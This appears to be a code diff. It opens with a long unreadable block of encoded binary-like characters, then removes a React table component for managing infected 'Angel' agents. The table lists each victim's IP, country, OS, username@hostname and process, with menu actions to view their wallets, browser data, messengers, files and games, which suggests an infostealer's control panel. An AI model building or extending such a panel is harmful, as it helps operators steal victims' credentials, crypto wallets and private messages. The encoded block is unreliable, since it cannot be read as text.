zg7xuEH|c9zLM%C_@4d?L;PdG&P`XGpoL)6L2t+E@4x7K}(GuDir*i^8rw!33^lqeTC%|oZ2VXUd(|!_)^g>IB7oZ+kA$Djj~nu z1hb_&<3K%pslkTVnGEmA$mF=822k7>k8RY_iP(kcPq#>h_MGS-Q^d%~HseS=0Q`+x z{&37c0dEcxb9ES%-cSma$z8_x@Z%IU=9{rMiD(!^Pb^nn$q3{&qo9H<$*vE&4crEY zomgD{yi4%Z)(Dd<>KED&sn^M|Tyg>xstogMuRPxOe?t_{>Ss&N`hA%{xi7~%73UNx zr2(Eqkl-@;JhRn}@SKO|*q7$KR+FSDDem+##S{4vvdHyCzGmGr%$9lO&Z>sO2%Y~I zYe@J_Ic$jtw6;`lR>a{0UV2r|E7|d?NuO2PCh^fFQ~#ux&5d5$GMiorTBc0a^)QGJBywP?kCw%p?PD2Z zQv<59M$d*X&%(Us#VmR_I>$q_xAhHujqFWaxAv95 zN<5XX7Wy8P%7t$(v_r}p7o7$Z9xE=jgEkjB#EsVE?-{cybSKt2)mQixPR)Q9r#XLZ zNRc*-w>NKNrP~#S>pdN<50Ucoc7~N4B_$&3IahCg^3QQ2Y{xN`!+TctJ6GG=3a-C$ zk8Ju0ORxMFUX`hiJ37^Gn)4mBXdCoAwZ42D+!^xY*IS~QeTClu*E2ni0i_!fl(jD_ zw~kO^JTe6>6vr+5UEwnEm2l&IRMfk@!B0X@6tV!ue;B>~$u@rweo2D7+1c%HN99qGQj!NT=XXYSN#QGKVRQTQ3;FaD#Iq5cZr~B!u zIz8)uG8)q$Xl$9vwk06gFK!eH%}T>w)!r-oP^@?Olqb`TQ4|K@;3(UYpEg(KbB%4WA5Bj)r$;H3Ln|`vitRHZy>aXx@DZ zUo7h@>H5simWIMT__A}h&~DxO;x{lnK6Cr(0(K_8CqdhQe-w65F><14^NU5q^OAZq z@s2G)PG`C)+qETe%EVLInFn~|3;>w@q5uDYM9yn{8C!d85Q$2grxYQyMllxkWM(IC z_-_*5fc#(bL&)G&%MZ%gw!3LKayEb;RVlrtdYo(i&L5$hl|8 zao(A~($01&z+7CKHBlQmVRS0jz_YNZqAzvr=A`SM_3?E_qC583kBrF352k(TZF zTy7fOHrJ{$Unn&`Tb&EfwhS-%2B|Wbu2w!-`Rn2F&5hcQfRy9b+=H>B&(l{j`31bI3lPDg7LU8_h{+%%tT^9^0T%zoAd# zgTC%_k!SOrGCV7jp!!Yy`H$HMrXM7wu<+rE9^-2F#SP{!S9|lro-*xIXBvE7L;SDd z0tc^S1hCR(7Owzrp&Ww?8Ay13ne1~pYt|P5d5QpF&iOw$>TeNTddia?Suvl#v9@is zfJT@q9xRn&DWBZO9-6Fe<+P+MGOT^~=mbk_w|#YM88+oOdktn!*S0RQd0w6&b@{G7 z_*fzRK`D%V*(rHw_NsjKEz~;t$em8_A+%!`d-p)^PKIOxtEIp3{Mv`VI?Y=a#zka| z)~u3$1HTF%dQnO^2xqj~>Rj0#jlcg4)jls7*=G4768ZWe4^c{=$$Fvb{>zRfnE<28 zL5cX>^Cz00t-9L^wM+Z9H>ziXFLKYrl*FCaPi~3S7|$MeUM>uvHA9y-iy(}HUxPa; z5j#JOYVDoZ1Y`{Z@+btDtXWwmW*(hY+?M?HkCyp7^H^x8zH2# zW`y|Jic>6+p}n1Dn%;lHX;$7Z!=C%w@0p58f0(tu_T1hiN}mMXwHq?g9I(cEAblbt zl9o@W>46+Lq~3M;)GQjG863EkGTzXzTv6)38lU>Cs?(4}=E?1AVM}=8{=7Ts)bjHCldpp{Xf{-ZZK@=)&$;+AtXQ`4snexf zyMpvit)ZDjvtNdQ;m*lU+x6*pweI0nkj2V$Dg9foa9u$|#VY7J>$nKkwk3#pu#BnL zrr6X`xQ%f8s&^T3htl@q@SX|T&f<+X}t?2{&@ebl@rix_(BRwp*vyvU| zFdK5VXS-}SH7AubYSl*OV9cjBl63qFL5Af%SLB{yI;fvn zxk~znb{jrguU+`4@8>r3oub3eQ#Z;^K1WgFWsegjmbFAQ7r~4o;MZ#oW5L(V@pP$%7G7hVW&B|h}&lu-Z@HH(~G{0UOnh{mr zl}^8ogO4~o+K-e8X+$+v-M}kOdV%4Cl@+&83b!lHQ>XTN9yj;sy=Mw_>zPrY*4VDC zRUIu|{eEN;cG}AS*d?NoI0g&akpj6+gcC$SX>~1KESR_|d8HXS=~!r8T=a=uVruVK z21>(xOl6w1JTJwhW`mWr>naTWLrbg%-sh{$)P6f&=I-)7M{7w?BEx@y#GEWnxyynd ze9Jr#_OXMS-TCPMSKG_#9aJ|tCi{h%B- zTnrtR^sfKb-WGT(Jx_n~dHd-4c6(9#mJE+O%-*D&Nk$C*8^{L{V3cFcS*gv zQ%5UpmW)p3N~R>{zpqQN-Di?FIOb!{*94|tuT8zhR=v;zKPzm=%(;f0w0SW-%c?6`p3ratUx(_Q5A$8l|ur4xfRjd%?x?~#!pV#u5T z79hrn@M*(WYdDi;i0sQw=TS-Pf+=+O1;_Q~Rk5`zjoM4tz2?iNMcRsE^POpyvm;%O zkJd# zvs3ci#q}O#<`KoMpfv7h86=W9YT(s2$re#=kgG95UP>9cg08bHam~A5(bZ4y@{%pT zd{4&amC+mS5npT76DySpo7~(XXtHPtPvh<-N0mI-QF(D!RnKegMWuPqEXmUQhkGbV zAJLR0D5-Xl%VwWd)OAjh39)3|>rRGV{3#z{Brqy64^sX_z-(@S7bE7viy<46HkHZN zoYd@{o)SL}@pR8#tYfcBE9+YqF0F{*e=W6qJZg#xehO;1;brIrmFF_vk9;9_I7UHh zUH(`a#Tl;y89a1}3$gf;PaW)?`rbUpxaLJSt9`J}jBA@tDg)jhbt+_hpXc+o~y1G zTYO5@{dssQY;-H4B{KLYgY{wAV8)bnBvI=#&-ZA9-DEzCRk#!GzsWHWW2cCW8S!3<@b6-6q*<=5E+?aUY@E${b z2Hgh%9T~xfGqP<@qszSBjJz_iZRenq-An& zUhrvzlRZXCS&aH1@^FldV_D=%%?uzhS4tM`hsRM>Q!|TIIo+32iuN_$2NOfy1rUzA zRd&Z+=K2o;I-ADBW_i9GFP?nM%@#fkvS=lKrmQnqlfuWW*1>m2Jc&sY#YHzj#G8cF zq*LR{HS|cx8%#@xsr0Dy=mr}TiKX5w$$#b*{v{*AXIx&UsF>ri^JCj2R;>txMN+J6gIz_3t!yLJm=9hd!eO;qN4P8d;=D=@DsSe)f*Mt_gi>d zW6k)liYuJ__^;B7Yx(xr@F(z7dDi^1o)iAhYzqSQn+Tb z*IR>1^)07jXmxG&BN$km=I-*QXzF(+OViNv0uB7u)aQj#{=$hh9T|lJ&&?mIb$ud! zDSoubACfQiA|Fv{)y^yHPrVk+ac{Yhp<7mMMyFF{zd`P6>lE_^Hy|F|F+CpFLw1}F zSw>%XOsc*kz>ZWS3ENgB7LCJ*i!nh01~lYl`=S*MZ4Z_pf#AWZ~k7(O1Kgu_#oqnecj}op2#R}JeH(stDEGGSSF_}od@2j z0`DJ{!W-it=|GU>vdDyIr&^D0e4v~Xov_%ORsYNy>f)A?{S}Ek>^(sVVo&*GUzfT6 zX#}5r083vHqk+1qaDhl z*}+w;Gs`FI{U0XYl&f1*FqCrfNMogUJ&Wr=OZ>SuPsnlsESAzW5OdlrY zMeICl5QC{0$bUDKe7DF#aDJ~RuE;wlyh5A=jaiLAH7X-)aM|WlOQVaA(C)Jmomqik|8Z)EV4x$qT z6nz`@iiF&6=6FgQe>2;2+g9~=E@MD9AuLTzh4_RjL{vvfhSdxP0E25;05L#Jo_ly` zWzLuEA}nQ@YPYjB_+U}+LaGVgW_bJ~nvQBP2ig*PI40}f+M(3&&Ud3SJ!iB-j=PFn z2n-41b$@cy5D=j}8LHI_i2P5x5y9OU$uA+dQd=bUye~OHUw%MA+0nWjbf@m67@W0p zb~whizH3=!=BgkE3{3H6ape#ZAkZu^q{C@RL?YRI{HF56Lc`-O2>IdB;5d;MOPq4zUF(w6M$v{CxKMmx!$S1SwQx=J3BkZ65aXJuME7#kf-)7s^LYuG3%x$&lBov z<(Fo;D20amf64Ter%clAe7PSh51&rUE6d#?rfmPtGcHW}9jK-F(64V}hVn+wYjRbkw1kGyD#CFqQF-+q;@#Ms= z!pL5Op`08H{vq41;b%h&6v6Sj@b`WD}rY+CGZfd%3vgk6W17@tBw?Bkp`XiWBTN z9n`269Q1AK60sL;VVU}TJ6OO+`P~_|?jVI=x_lzhT(;D|N27id)b@6#G=!}XBF zD%Dg*$1Z{++P>CXNVU;E=tTC*5BuOAjH=hEI|WYBWn0{W7OI3)OLln9t--2BL?{Fh ztqXE5$f`HT!g5A5D@O$GjL1S<-ufJkiWL^B>=H{$%O>E}AZIdsg=r;sE=wTfv3nsW z(TwMhuxI<)Pa7N^zU(yq=wQr+d}B^yPYR>xZrRD1v!@ZudBLaPfRD2~Fjr1q(FL(c1gPtmBo`h-F?wp>Q z+q4!n&M_|E`;6dv9MpE~r2O4JTRgAFXy&!p`-aJHX=R5F6N5wWaS?|VKlU&l#G9<# z!9AMej%@#nJWYSR3yc=CxYOw!@U{>8oM(v)?XTkQ6?QTxW@nUYqZsSO?6tpLCg;SK z%A<3T{~K7;cI|jly8Gs8(ZwXZv+4)*bDw{8qKv$-^bdn(8#BB8{4n8fyyYXW3S3g0 zhv{&<>eO6x1eDMI5Q7sR60YWSAD4R2*zhnLU2vVr{*(+6c*#8MCu#DX`;&2+V_sEG zf$s~L%FZ`j$ZQ=~rcxP|)bajLcP$A?9+`T8;^Uu!{tYMjtB%xbbu8EDMY-f@0CSHD7c?DD$biLh?fKL)oYw;X^ybstWDH?JTI8u`VM1(9c z4qP#RGpUd~=t7DLl^or#Ba*+=v&i+>VehW|tEN$9IQ@R32=DV&58->LfflVdcChns z#V?lIEcCbsd6BJwr{uO-fJn^0kq02S8(Yxv_@Lv0`wIJ&)HbSCti2S?9?=>r-zl0? zDmvMS)r%^MS~$8~EQA|Oa`A#{o+m}&y>kE>@)m*?%v&MG_i94QDFRCLMHned&XG^|e6 z-=0-*v1h&5_D`iBbDci$s}BHJpr{2xt2wnG$U>kdNhyf${#b<1O)eo?3L~MSWIe60 zcZ9gFt}USgE`L2f@GmRF9WRGiC45A_Gtg%3{+!i|;OndCjvA33V}LO-1wUPTYJ2UY{QB@fk7C_i*mCA z{j{c66Q97Ne9HSj87hC;G`-5HSQQngkrk|$$l^*`6(4bxh|lJ*zWe2Kib>>Rq9SRT zU7?e_Xg+tH*T*L+mc)F0Q1H7(ZvxvxK;->Ds=|BdhA^F*%7-0Vtw*-7(5Yqh$FR`e2LMg$72m9!6o!ffQ=uDhurZ1( zZOgrA?ji&Cbxiqo#p0}tBphaVE$?zzCaQQBG;jM$4=phje{OvANW3FAQh2xl(>H-G zFf?j>nPW8c_U;ef&PP7o8YCD+*ixfgh;KQE<@BXy3J8Gd!=1KLXWc9)G*%E3=Ck53i ziQ^x|4V#>qZX;|5&CD$wd2Sz?JfHi-09@BN0RaZ_xmWyvrZWxTKuXw4?BEo} z99S}@>D(HA!ChnPbCM8l-g!M8j2w(1 zugz!N7u%<>tDz9Z+EC;HxTzbf5-?n&^|BNzeVzIVLN<%IB6E0yx#aV38T;!|WG_G* z2h$SQPcR&x*YDV7ysSp6!pTRw@m2wxX;)IZY@aVJ^uVPI#~L}HX-R$vL!izzI%5Fy zqJNN{fEA}94%@)X%HKlFmv47i^Nf8F{UK_gzngglE52v8weoA!BSIpmAn#1jB@4m% zj0T_t)YYDn4ntyO&1GBY@&=_!n>312L|fb7^5ZvC!DXE_dy&HV6D3C{Wchj%wzDC^ zcSdSdYqh&3cJ?McpTk6GQ@EyIGI~hwb$sl$Y>JVKuH{Q7y|MdQ)oh&2B<4F5=}B?j zCp%>YZ2+Fo0{;oN|U2Dj^ERttTYrvt)TPbZbJQe zJPa--HPNRYlQ(oElUo)*RCmOaHCcl#8GWEUI2$Opx)*N}w}-Gt7D76v5${{;k*bFG zPT{rZH3gN4PHIlpx`idUG+Et@ycG%eC(BJ5Q!cN>g3TxKr!R~3i<6DnMK1~zWPSq! z$2-ms({9Pt^TrjBIdB35F)ad|EUq+gkz7Q^QI=`r{e*gGo_p?8>G8+!2g9|0z24eB zWEAp(e<$7o4?T#ShJ8*lm8{xxUjUtsHn; zo}xtbM~tRL1)KEb`BPURhiQ$0doWtgGl5%ZGfm2bSG>cx^&9H|WAEQtfDHKbL$UQX zSV`RN649}2YLHVJ|32jAlI;s`(KY+)3zQG7zgU;3mq>F zUAV2uQfMU-?z0=p&>1Gn&{RKo;_2?usTQxvNB1cSLhObTEUfhycOsHbdVvMu7?ly= z>21lmQy#HRCOJ51HM8b8smBwtlny?GNU{$Z-gc}Z*un{6(nbpAL~RkeSh~!ylEySb zoodj#VkzY@W76);Z1|NpWt1;z+-YmxX<_V+Vo!OST+WVvl;K_{QYCWI@9K7~+3D&= z$&c6d7rE7?@Eb?Xw1MuSMJd~IgRU=AiuYe@$e&$LT}i2`PPkpD>SDGbqFST6NSE#z zS&bGqTYNit`+}{(UE<-9)w4wx@3&ksMyW1k#z%H#F{J3a`^bBQocMJaMhVm!a!!T| zH#WaG(P=WPehWnfq55L-T@eU*>;suk$_uQzK=lL|^*E_1_=U zwa$YDsOea1HstBYVbqz#-5C#L70NzD(CF*~1U71aqkqA>^Uf|do7T?7D77~;G9uW@ zt0aHX@RBH8r*AG2e@=R`&er)Vzvz?x$}r-dW-J#%4PYR)Sms_J;u3Q3151?<=6o`C zO)@T_+>_lqNM{Qv9QA!oENAZb!jMe}h7Hqh-|6D$eyX>tXumRY&J2E0IaR^88k|3~ zxTvWf^XEt|+2L=X`on{cH!CWv8wy*UZDy*-3>*4o(v*+pRtu9hYAv)9DLiCfZHd9s z7|}F%Ecepp@tr?RphTo*ESTldg~oD9!B~B?aAjgiQkE{}D%agi#VJz5o=cjYQcUL+ zKQ|vXD`0c%2hEM$S&#b}U`>eUiFDCqCrwU^7!)s-j*TMc7mY`A1A+;^nN)kf3tcn7 zBaNRBDm~Bxw8#OsX101Q&m%)H{J4#_S@|gPn!bA!65F0ODD^q-g-G9*N8qVhkLMr6 z(9H>K8D%qIC9ph5+-zJvvTmKhBov&Ln&oLCZ1WoTD_@I)PBh&@%0ov&W;Uy!BHXByOAy-%7uav`7^Z z&2M_vD$#4&CO*>*Gt8hhl^p#k;X+erypPrk_@9cH!;QX&G zZ9@0k_BDFO*=vl4U5h=|)h5R6t71r{Pnd&GweJI8_i(xe1r^~>>$@27#&|ff81N5) zo1VAOg;TX)hpW>TH9zBoS{X5SRfa`Jta)Q{i%%`;D&+NSc*CiuFPYfbaxsI7pF5)l zRjVG|KFqEAA=0rcp+c>xi5G702T_Rut#A$f^}}N0y&33HcwKarMBm1vj8oN7BC){r zX|i0i^gC*nB+WjwEZhsvrXb97Jvk#tY4vEntNTK|4tYc*jCl7hyGfh5UbkjeUoC85 z1KC>{9Q4SeWSg?ORsRG>lQD*zz8s4n_vI&X3!AC z2nv-;mManPb|Z=B2?IIfg;C;o0i1GLE1b5`V_cdxWxx$3yO3r++Ags$1zKF$DkEO0 zXi=_$?0)F?5IMLiN5bWMsyd{L@>-3Wuxa`RKl^!f-($76=@OPCo-7HOvihfw@R8SW zYq_(k|6=O*vPYtO3Gn}3!ktA)NYndA(;z)0=KsaX1pjM2HO!@yh1--^3?rjHqJMHL z+q7>)pGE%e$`AS@qy9KamPN*Wbw6v>N+HfAObhP+DdS4xp?cr`5WUr)r=gs-t=QDGzbKTc-#75!_O$&p8KO>{U#f2Qlxdrh9)s>fv zx(Zysc>tsW#yD0kIQ}4c>7C@D8(|ckNby->K|nc_Cb7Fv z-2&U{GbVFyj5!JM&v9yqY0K0V=i=k&)gaHOO(Oj%OCnhoWi^~PUR|9k=8aH9o5+~3 zD(9>zO|(CCqI2M=4{+e*5|uAfiq#VUF;9OS5>~}#^d0l- z4fvf^mRmT~H6aCkQ#}@?w#g?Ro54z&0-UveTP;KWjMQ%+s2C^S7T$K%pleB*=$l$8 z*eHv9y@?+GeyIcgxY|Gd*6lu&BX?jPGfYY=Fa_c3X+pH6l#*DC+N?)nDU;^hhhlFeYzPx>~ye-I^4cRQx(jWia> zY^=RcEjs$oH}x+4Bwr#s;>_5C2$wboamF%?m1QR)tzr*Yuv1Fb67{-hb3BEss$A*k zW;4X^W3B_w+iOF?^Xq;QLO+nPG=G(F{vMCVLe$8XA3se+))ZGX4Zr%f86h&@i`lBF zgUF|8rAwJN)Ez~`Xtk{YRSZ)VCf=0;XSH+@mpgNf#xGfHmY-x^y2klEpLjlNcN;ZK ztz1>_GL4K0`gQZ+tKo@)QQa~E2Y_;cr^`~UyV-29$lfZpYoLqxH1V+6FWYgHatWU# z{bH%3$&~1?f%^V^wlMZUeaD>hy}sOP>6>7X4Dokq^aaI=xv_Bg-yHLO-}HvcHV@H` zRHJ!&)b_KzP>Or(fE@mz%sCNQJlt923VjSX+fB94>R<1GJx#3;S3 zd$Z|x>>X-;iVUaHEd2o`e5TItdiy~n$>o;!pQ8o)G?9uFreW*+VDKN1>-AgYx&u5U z#dhk=!JRDl$j~29Dx}?EWz373nYGD!>v7!jNI`v_&L0pd=7h{pcF{X3#}(FFc8?C zCOQ(|NwiiGJv^^O2GPw6mvYXR5J+}k|4Bd+ROmbO3ok$F6d^bg*zm9mLgEepaFs7? z9Wx95Ds&mCk3%83bwxCB2nkgJvdtt#w8tu96C3FzEEAe{C9^9`LUkc4u5RapoDe_& zeB?DgyD~DLMLw4^uB>G>9RYQVHoI&?aCu!j<8{ZG9VlBlLG9@n8gfHFUD3ejAx3Ex zyLe8bOhsydU1lCTx@KuJI)hp^)r_w0b1;+?sX2}*s>~;C<{b=$DONG^f(!yJ>^w4z z)jZ+i-_IDyx1WERZ_8s-!OLXE7d;qALD@2-foW9m^RBt>5n%bC+OOFSk-5IZuq{k0 zif8X*wOZ&8HMLorLR08W@p1lDiGtK?amViI9Hh053HO9dS*Mys(w*Yqd$qF?rWJOX zR+yh+lFQVI|u$;~&?rqLL-6dVJc;`mORY;AKdH!4*}zGT(;qyNBq@&x$g7Ad^jo!~1-P zgcl)NasrQG!%D}Y#mcLuVO~%%t^~Xb9nae~{N*^MxeMx!nlNPpGR!wJxlkQ4gBuyecQ^gcgR*o?EBqvgoxUb=Njie*6K6&{bVyyFlwI zZX*%bjZmSJ(BO6Ug2c`6GQo8D11+G{n`E{pM_!-Q&2qehxsdOn0_ROeK3mNn6|PKs zOO0|jC(1FNzlw8TBQzpiCW7KuXo3?cV+q zS7KougW@<%!kQ!lpJ{K4QAvi2510aZ8!MWi1OyB#7b}aNq&Dd9sPXRtSUV}qfA1tq z%VazaEt6l{AKzlR;*51^s5gVIA|>3mV5fT15-F=&O2xwuGr$ zjS~rX8HvTtfxRNgK?I|h^wqrZ4zb5-ph}u!t;k!mYVww#|(?4rkGvJ%Ok9N{f?!-HZ^KJbTgFST@mkt_4kY zI*0_Hpl7(f97N=F{oQlmvd`zbOw@JRdRtWJ>jSVA`KXwnLa03Hy36_#e3~(DOwiIN z8yQ^?kG_O5W5Z4MCG|YAeT4}z{}txR#44-HE8PkWwLJSE7|rE;42`HhUOJa2{ezGzz-);Hfqc@lJE2e<3V4a4-wtq*^g-CKCoUIgIQZDX zv3M|y?xi~~kadCH=I?+XKr_;_+1+^*lt@R%A;#t%8eF@9pZn&oOi|XuXV0D_!w2d# zPz1!GtiXw(e+9A9`-i;#`V*u@->Gt$&59Mj)2Es9s80hhjrAT>z)s?$cry(y*mZcz zHy@XuB5r87T^c9CzDKmWAHj6oFub!?UrW<4$n{L{E5Y?)19VnZIM!OB?<-jSnvLU3r?_{VJ-5r?> z3Y#lGcu+Z-NNE9E{qo%4lt)G#vV_=cgDPEJL19|sWb1i^zh|139Q6KFUfMqKCXsV6 z#`nvv{Ae+!%fg;uk=T65*22Dd2IcIDZL1}2jrU>fZ5nzQNJvKf?^^_LGzM{bb{I~y zv!i6(zGU=cPbbnWhPt6&%NG$bKSr8A`S+b~Kq`Ao=+1B6R@0V21JdiG-YY<|)ZJ0K zMFGp;_4R02N&tr3Uz!{v1F)ehNLW4zSDb$eSCjl)wH+WLu%eoFzHZ!mb*#N(aye#U zcX|`2sh&wCxDuS<41%N6^NZ?Pq_cjNnDg(jnV;QvA~!Qz_nFb15miHej?2ZJE|Z@J zMpTtE5n|K*GGrB5l3Gs#LqP)NP1*Gwo!1(y8lc?m4#+#|w*5q~@qzD!bbfjY=g%6^ z2IfblQZ}5wFr^s0BY4(uvQ106Z0?#roCLmLj4 zIuZ@LT_|_tJ6Ps&7D;JxS>4hysGH2Mn*{HygAuuL^Z5LRL)g~3+{{1&kKMU2Ix@2w zI>nV#r;9ON($-iq;qMVutv%>TlV!#1HV3Xxe%q>E@%+g>Bs}I9x>}U=2+7%r<7N$$XX;%n%BIXU*}&6wKVRHaOUPv{B&*Y~WZR8}TIP>V^Uyk}rM-U;QdR z+M+-|IFSi|kr`XB9$YzH(2N`W4vQ=-tJfJS1o7Gloy#9T&QuS@BUShBa&5MKk1lO& zHEXQNQGE_M|DtEK+GJm4werQGSBp6|t@+nNVePRda2nJy?mtdD71IdeFWkDE*Y@Go zCt8qbEE`t_5Fs?6HV`Os{oJ5pazwwY+QsVm$cjkSs^CX!Ye=!q z0!djg=R0#`L9|$n5ze}+SVUep8pOT@xqX({9s6WnNH zKNsqk5Q53A1T-@+0WWLFH)S(QMPb{+psU33VuVYeHvkrI1kX0U;0ioUZeQMK+bl5J zihkbUFzR-B>q60poYUTrhm%eBV7*6O%l?kX#@)Ob7(J%$rg4(BPqo{Qlp#x5CXboc zm&A&s2lPph^uIJ@Ip(Oky>WWy#fgu)q3K!D~4c8i*ICfI|a6Rb0#>c$tag3uJw*kn52e7h%;{E9Z z)42w7?huv_Oeh#~U!s?&Z6__K>qZM#&sEdy2lwo*PdGY~=HthM?>zhsK9fK+S74eG zt4BtySE#-fzw~o%T3n)B0fPX}0oSR~nOWK5W#WIY=Wn(Ed{R{Y`M6V98R1Q-@%vil zIe>H194V;2x^G-raW5t-lfmD08`MUP&d&F;PmVN}J!CoBg4K+yacWH-Gs)cQPEgVw z28&4Z0P`UsnphAhyR!q=xw`w2#CGsyBQK()zo`Vi=vrl&tQ?kBj0sD~fXIv)wwho6 z&0RQZ4Y4eNg&F0f6wa&#PotM*6}=zI7l@`yVfCbepalFOK!DR3K-y=*J?nJvcgM7k zV=|R0px>HYEALs3ACK;p#~3eX-;KNbgpJq^Mf!7lpGrl`j(s}#(5EnUKz@>1awhm1 zs#&N-d@Asz;P|A4*atbHRcfnwUXfFvxG&NwnYzDtXn3gaI(m$=23y>Zz%AXDj*MnB zW6S-Jq_kUe(bkPqPCZn#XjqDhF_+Ikr=Ptw74@tNozC0wj=(3IZ&p9EH;E@*$S&Y} zh4?oVmFZq@L7 z2#4pKAkfvLpWnxjyEyB0l=I0`_c!zli<85`GL9hZw?wlT1$y~AD7pQPd6#I+W)x1` z^->Az;OBYZRJICeWW2M-K6-XySoi0?Qqbzug|gWzF38M+okFr3R|3ug1xrr?OY8PB zRf&irFk?298)6CWbzzuSc5d*9_(PO1KcvCN1g)l76?Y!xap;FXnK zxafNYS$@qr4Pm#OwIoUkO_8~^%x*kg5#WEl3|EwbSEOK4v)@ftXHHd207=|GJnz{f z@rSyo;KXVU_uJA^QFmh`ECPaDYm{)qj{h5O0ulQXhT(n9;VO+<2jT2W*@EJk``4af zUyc>l*h=uuo&g5xv*Xm5odQ7S)dq~4*g8StD*94|AAMs^BZu_EHj4#j zeWRBXOOsxAy$PUAjUm16LJrG4_nbDw>}pDH8NTkjfJUkO&U-#+%K#8h?LFA~fSM8* ze*(J!s2za5|JVt~1`QotywR;i` zZq_%vB2V0_1%p&7A?E5EX|qfc8O7EXl^Q&a$(t30MhCg9y5ru`wOS3RPhtKen(&qj zFpoJc?^VWOc#!NjD!d`;O*@f%fz@prnkcJWGszfZW_$M8)|zf&ti_lDU3|c^5vU@f zG%?OAV!X(ntP$HL4Cu1Xf!Js+$p+HJ#@ERZpkK1sG5;8^Hv%F+*s8<4NZG>Hjw?PbCoySN3W zivE&$w8=;Wx9v`!2-AE?>a|(QLP=}!ivMc(lfJqHmvLEvc~WqymU*cpRILSdBsOv! zsl;bH!CBKE{e3Ty4s?wTM3dY#md;uiflM0GMm z*L|A5QJCBxte(FZGCsAaq19F{u#R#QyKVq~L{^keXLP-$OIx4~q^Ve%M9_oFciyp> zHN0t`Qk!*Ww)dQmYwxw31pKjlEG7x21*w4CpxnH~WlA}}eQhn5Tt9eMEQ8`xjvSS2 z^?S0V12|!@kG{%p6oe}x)%A3iSRQHMc=bSR0C!1<4Fu{0j={J`297M)dNFGRz^~4u z2;4)cmW&(sbWHIdSH4=d7SyQ8$AUXcJ~~xX2FEBvY6~-W)`BuBT4T)K5eCVW;;|vU z%7?XDwfTmhd}SuQ-9r4ODu$jL!lYjJdj>ZOT4n(zV0IEK=3d(dwOhPw4{?pm0bwaS zbUvH~MD83DhlD1vlS{bgoZlXw^%cN1b|sLKrZR%=4n@oKL@0AE7ZV5jeZWEicavXqMqT0fnPo*J4T7R=5RSx z|L3LDc_xARy}2Z+x?fcP#oYdLmDm0QjJVS%<$mdkGAo|t%07wUPZ)`ON&dznwBcgb zUFL1w^W#gkXuTf&OOV^&$AbhA`<5|XR=-1^BZi}27g&;-Ue-(k2-Eq@dmGizjfz7l zGR*Bqu;oe7L2szaJCse+iu(9#DsYEnl!Vdtd~wK--W%(|KcK5UY3-YVxu$n=(%ZB- zyM zllSBwZT;)~eXOb~J*ST6^&6)3AmxA=37_AgHA!XpAuq}kxNo$Q8fSeHx{ReymiuZ6T zdCW?|ek_e?w~~8y*1Rbv`Px`3cl_ezv(!;v>alGXq+&~ACpeKN(e*$30##rv&?)?P zS(J@_Kn|R7=2<8um%gLVN**@-bszotVAcdM=(U39~j*B&EE zzBNIETS`tFG<9|H68f#y0*^;`8{%K_RO;Rl!KR=TUS%{YX>u zpn1hD->?9CuW8PAq~SA9AQmyBsG}VqlW^>yGr`kYW4UmMOi5$GwS>g~oI1xVrR+K2 zBS&P??k+Br-cp^fSaBCY82cbt#iVs(c3(49Tr_kImeUjbUZG}*ga@r^^Th31HGd#S z%kdb+2x`nHTCpj_aa=n#9H*dJF@aj(M5?W(HFRcH=;4mMhI-#QX(}j`L`PZ9n+i0SB~e9Tm?bIA zzP0v()l?e%S1L)U5Xi_HLpI#-RImkR+s8^`; -}*/ - -export const columns: ColumnDef[] = [ - { - accessorKey: "agent_id", - header: "Agent Identifier", - cell: ({ row }) => ( -
    {row.getValue("agent_id")}
    - ), - }, - { - accessorKey: "country", - header: "Country", - //cell: ({ row }) =>
    {resolve_country(row.getValue("country"))}
    , - cell: ({ row }) =>
    {row.getValue("country")}
    , - }, - { - accessorKey: "ip", - header: "IPv4", - cell: ({ row }) =>
    {row.getValue("ip")}
    , - }, - { - accessorKey: "system", - header: "Operating System", - cell: ({ row }) =>
    {row.getValue("system")}
    , - }, - { - accessorKey: "name", - header: "username@hostname", - cell: ({ row }) =>
    {row.getValue("name")}
    , - }, - { - accessorKey: "process", - header: "PID Process", - cell: ({ row }) =>
    {row.getValue("process")}
    , - }, - /*{ - accessorKey: "activity", - header: ({ column }) => { - return ( - - ); - }, - cell: ({ row }) => ( -
    {(row.getValue("activity") === true && "Active") ?? "Inactive"}
    - ), - },*/ - { - accessorKey: "version", - header: "Angel Version", - cell: ({ row }) =>
    {row.getValue("version")}
    , - }, - { - id: "actions", - enableHiding: false, - cell: ({ row }) => { - const agent = row.original; - - return ( - - - - - - Actions - navigator.clipboard.writeText(agent.agent_id)} - > - Copy agent ID - - Agent overview - - View wallets - View network - View apps - View browser - View system info - View games - View messengers - View files - - - ); - }, - }, -]; - -/*export function DataMeow() { - const chunkArray = (array: Angel[], chunkSize: number): Angel[][] => { - const chunks: Angel[][] = []; - for (let i = 0; i < array.length; i += chunkSize) { - chunks.push(array.slice(i, i + chunkSize)); - } - return chunks; - }; - - const chunks = chunkArray(agents, 5); - - return ( -
    - {chunks.map((chunk, index) => ( -
    - -
    - ))} -
    - ); -}*/ - -/*interface DataTableProps { - tablemeow: Angel[]; -}*/ - -//export function DataTable({ tablemeow }: DataTableProps) { -export function DataTable() { - const [sorting, setSorting] = React.useState([]); - const [columnFilters, setColumnFilters] = React.useState( - [], - ); - const [columnVisibility, setColumnVisibility] = - React.useState({}); - const [rowSelection, setRowSelection] = React.useState({}); - - const [pageSize, setPageSize] = React.useState(10); - const [pageIndex, setPageIndex] = React.useState(0); - - const table = useReactTable({ - data: agents, // tablemeow - columns, - onSortingChange: setSorting, - onColumnFiltersChange: setColumnFilters, - getCoreRowModel: getCoreRowModel(), - getPaginationRowModel: getPaginationRowModel(), - getSortedRowModel: getSortedRowModel(), - getFilteredRowModel: getFilteredRowModel(), - onColumnVisibilityChange: setColumnVisibility, - onRowSelectionChange: setRowSelection, - //manualPagination: false, - state: { - sorting, - columnFilters, - columnVisibility, - rowSelection, - pagination: { pageSize, pageIndex }, - }, - }); - - const startRow = - table.getState().pagination.pageIndex * - table.getState().pagination.pageSize + - 1; - const endRow = Math.min( - (table.getState().pagination.pageIndex + 1) * - table.getState().pagination.pageSize, - table.getFilteredRowModel().rows.length, - ); - - return ( -
    -
    - - table.getColumn("name")?.setFilterValue(event.target.value) - } - className="max-w-sm" - /> - - - - - - {table - .getAllColumns() - .filter((column) => column.getCanHide()) - .map((column) => { - return ( - - column.toggleVisibility(!!value) - } - > - {column.id} - - ); - })} - - -
    -
